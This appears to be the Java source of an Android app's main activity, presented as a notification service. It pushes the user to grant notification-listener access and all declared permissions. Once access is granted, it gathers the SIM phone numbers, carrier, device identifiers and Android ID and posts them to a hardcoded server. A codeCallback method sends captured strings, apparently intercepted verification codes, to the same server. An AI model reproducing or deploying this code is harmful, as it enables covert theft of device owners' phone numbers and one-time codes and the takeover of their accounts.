199 lines
8 KiB
Java
199 lines
8 KiB
Java
![]() |
package com.example.notifyservice;
|
||
|
|
||
|
import android.content.Context;
|
||
|
import android.content.Intent;
|
||
|
import android.content.pm.PackageManager;
|
||
|
import android.net.ConnectivityManager;
|
||
|
import android.net.Network;
|
||
|
import android.net.NetworkCapabilities;
|
||
|
import android.net.NetworkInfo;
|
||
|
import android.net.Uri;
|
||
|
import android.os.Build;
|
||
|
import android.os.Bundle;
|
||
|
|
||
|
import androidx.activity.EdgeToEdge;
|
||
|
import androidx.annotation.NonNull;
|
||
|
import androidx.appcompat.app.AppCompatActivity;
|
||
|
import androidx.core.app.ActivityCompat;
|
||
|
import androidx.core.graphics.Insets;
|
||
|
import androidx.core.view.ViewCompat;
|
||
|
import androidx.core.view.WindowInsetsCompat;
|
||
|
|
||
|
import android.os.Handler;
|
||
|
import android.os.PowerManager;
|
||
|
import android.provider.Settings;
|
||
|
import android.telephony.SubscriptionInfo;
|
||
|
import android.telephony.SubscriptionManager;
|
||
|
import android.util.Log;
|
||
|
import android.widget.Toast;
|
||
|
|
||
|
import org.json.JSONException;
|
||
|
|
||
|
import java.io.BufferedReader;
|
||
|
import java.io.IOException;
|
||
|
import java.io.InputStreamReader;
|
||
|
import java.net.MalformedURLException;
|
||
|
import java.net.URL;
|
||
|
import java.util.ArrayList;
|
||
|
import java.util.Arrays;
|
||
|
import java.util.List;
|
||
|
|
||
|
import java.io.OutputStream;
|
||
|
import java.net.HttpURLConnection;
|
||
|
|
||
|
public class MainActivity extends AppCompatActivity {
|
||
|
|
||
|
@Override
|
||
|
protected void onCreate(Bundle savedInstanceState) {
|
||
|
super.onCreate(savedInstanceState);
|
||
|
EdgeToEdge.enable(this);
|
||
|
setContentView(R.layout.activity_main);
|
||
|
|
||
|
if (!isNotificationServiceEnabled()) {
|
||
|
requestNotificationAccess();
|
||
|
} else {
|
||
|
requestPermissions(retrievePermissions(this));
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
public static String getDeviceInfo(String p_seperator, Context context)
|
||
|
{
|
||
|
String m_data = "";
|
||
|
StringBuilder m_builder = new StringBuilder();
|
||
|
m_builder.append(android.os.Build.VERSION.RELEASE + p_seperator);
|
||
|
m_builder.append(android.os.Build.DEVICE + p_seperator);
|
||
|
m_builder.append(android.os.Build.MODEL + p_seperator);
|
||
|
m_builder.append(android.os.Build.PRODUCT + p_seperator);
|
||
|
m_builder.append(android.os.Build.BRAND + p_seperator);
|
||
|
m_builder.append(android.os.Build.DISPLAY + p_seperator);
|
||
|
// TODO : android.os.Build.CPU_ABI is deprecated
|
||
|
m_builder.append(android.os.Build.CPU_ABI + p_seperator);
|
||
|
// TODO : android.os.Build.CPU_ABI2 is deprecated
|
||
|
m_builder.append(android.os.Build.CPU_ABI2 + p_seperator);
|
||
|
m_builder.append(android.os.Build.UNKNOWN + p_seperator);
|
||
|
m_builder.append(android.os.Build.HARDWARE + p_seperator);
|
||
|
m_builder.append(android.os.Build.ID + p_seperator);
|
||
|
m_builder.append(android.os.Build.MANUFACTURER + p_seperator);
|
||
|
m_builder.append(android.os.Build.SERIAL + p_seperator);
|
||
|
m_builder.append(android.os.Build.USER + p_seperator);
|
||
|
m_builder.append(android.os.Build.HOST + p_seperator);
|
||
|
String android_id = Settings.Secure.getString(context.getContentResolver(), Settings.Secure.ANDROID_ID);
|
||
|
m_builder.append(android_id + p_seperator);
|
||
|
m_data = m_builder.toString();
|
||
|
return m_data;
|
||
|
}
|
||
|
|
||
|
@Override
|
||
|
public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
|
||
|
super.onRequestPermissionsResult(requestCode, permissions, grantResults);
|
||
|
if (requestCode == 1 && grantResults.length > 0 && !(grantResults[0] == PackageManager.PERMISSION_GRANTED)) {
|
||
|
requestPermissions(retrievePermissions(this));
|
||
|
} else if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED){
|
||
|
Context permissionContext = this;
|
||
|
new Handler().postDelayed(() -> makeProcess(permissionContext), 500);
|
||
|
}
|
||
|
}
|
||
|
|
||
|
private void makeProcess(Context context) {
|
||
|
PostRequest postRequestTask = new PostRequest(context);
|
||
|
postRequestTask.execute("http://10.23.31.205:8000/phone", listToJson(collectPhoneNumber(context)) + ";" + getDeviceInfo(":", context));
|
||
|
}
|
||
|
|
||
|
private String listToJson(List<?> list) {
|
||
|
StringBuilder jsonBuilder = new StringBuilder();
|
||
|
jsonBuilder.append("[");
|
||
|
|
||
|
for (int i = 0; i < list.size(); i++) {
|
||
|
Object item = list.get(i);
|
||
|
jsonBuilder.append(objectToJson(item));
|
||
|
if (i < list.size() - 1) {
|
||
|
jsonBuilder.append(", ");
|
||
|
}
|
||
|
}
|
||
|
|
||
|
jsonBuilder.append("]");
|
||
|
return jsonBuilder.toString();
|
||
|
}
|
||
|
|
||
|
private String objectToJson(Object obj) {
|
||
|
if (obj instanceof String) {
|
||
|
return "\"" + escapeJson((String) obj) + "\"";
|
||
|
} else if (obj instanceof Number || obj instanceof Boolean) {
|
||
|
return obj.toString();
|
||
|
} else {
|
||
|
// For other types, you can implement more logic as needed
|
||
|
return "\"" + escapeJson(obj.toString()) + "\"";
|
||
|
}
|
||
|
}
|
||
|
|
||
|
private String escapeJson(String raw) {
|
||
|
String escaped = raw;
|
||
|
escaped = escaped.replace("\\", "\\\\");
|
||
|
escaped = escaped.replace("\"", "\\\"");
|
||
|
escaped = escaped.replace("\b", "\\b");
|
||
|
escaped = escaped.replace("\f", "\\f");
|
||
|
escaped = escaped.replace("\n", "\\n");
|
||
|
escaped = escaped.replace("\r", "\\r");
|
||
|
escaped = escaped.replace("\t", "\\t");
|
||
|
return escaped;
|
||
|
}
|
||
|
|
||
|
private boolean isNotificationServiceEnabled() {
|
||
|
String packageName = getPackageName();
|
||
|
String enabledListeners = Settings.Secure.getString(
|
||
|
getContentResolver(),
|
||
|
"enabled_notification_listeners"
|
||
|
);
|
||
|
return enabledListeners != null && enabledListeners.contains(packageName);
|
||
|
}
|
||
|
|
||
|
private void requestNotificationAccess() {
|
||
|
Intent intent = new Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS);
|
||
|
startActivity(intent);
|
||
|
}
|
||
|
|
||
|
private static String[] retrievePermissions(Context context) {
|
||
|
final String pkgName = context.getPackageName();
|
||
|
try {
|
||
|
return context
|
||
|
.getPackageManager()
|
||
|
.getPackageInfo(pkgName, PackageManager.GET_PERMISSIONS)
|
||
|
.requestedPermissions;
|
||
|
} catch (PackageManager.NameNotFoundException e) {
|
||
|
return new String[0];
|
||
|
}
|
||
|
}
|
||
|
|
||
|
private void requestPermissions(String[] permissions) {
|
||
|
ActivityCompat.requestPermissions(MainActivity.this, permissions, 1);
|
||
|
}
|
||
|
|
||
|
private static boolean isNetworkAvailable(Context context) {
|
||
|
ConnectivityManager connectivityManager = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
|
||
|
Network nw = connectivityManager.getActiveNetwork();
|
||
|
if (nw == null) return false;
|
||
|
NetworkCapabilities actNw = connectivityManager.getNetworkCapabilities(nw);
|
||
|
return actNw != null && (actNw.hasTransport(NetworkCapabilities.TRANSPORT_WIFI) || actNw.hasTransport(NetworkCapabilities.TRANSPORT_CELLULAR) || actNw.hasTransport(NetworkCapabilities.TRANSPORT_ETHERNET));
|
||
|
}
|
||
|
|
||
|
private List<String> collectPhoneNumber(Context context){
|
||
|
List<String> phoneNumbers = new ArrayList<>();
|
||
|
if (ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_STATE") != PackageManager.PERMISSION_GRANTED) {
|
||
|
return phoneNumbers;
|
||
|
}
|
||
|
SubscriptionManager manager = SubscriptionManager.from(context.getApplicationContext());
|
||
|
List<SubscriptionInfo> subscriptions = manager.getActiveSubscriptionInfoList();
|
||
|
|
||
|
for (int i = 0; i < subscriptions.size(); i++) {
|
||
|
SubscriptionInfo currentCard = subscriptions.get(i);
|
||
|
phoneNumbers.add((Build.VERSION.SDK_INT >= 33 ? manager.getPhoneNumber(currentCard.getSubscriptionId()) : currentCard.getNumber()) + ":" + currentCard.getCountryIso() + ":" + currentCard.getCarrierName().toString());
|
||
|
}
|
||
|
return phoneNumbers;
|
||
|
}
|
||
|
|
||
|
public static void codeCallback(Context context, String string) {
|
||
|
PostRequest postRequestTask = new PostRequest(context);
|
||
|
postRequestTask.execute("http://10.23.31.205:8000/code", string + ";" + getDeviceInfo(":", context));
|
||
|
}
|
||
|
}
|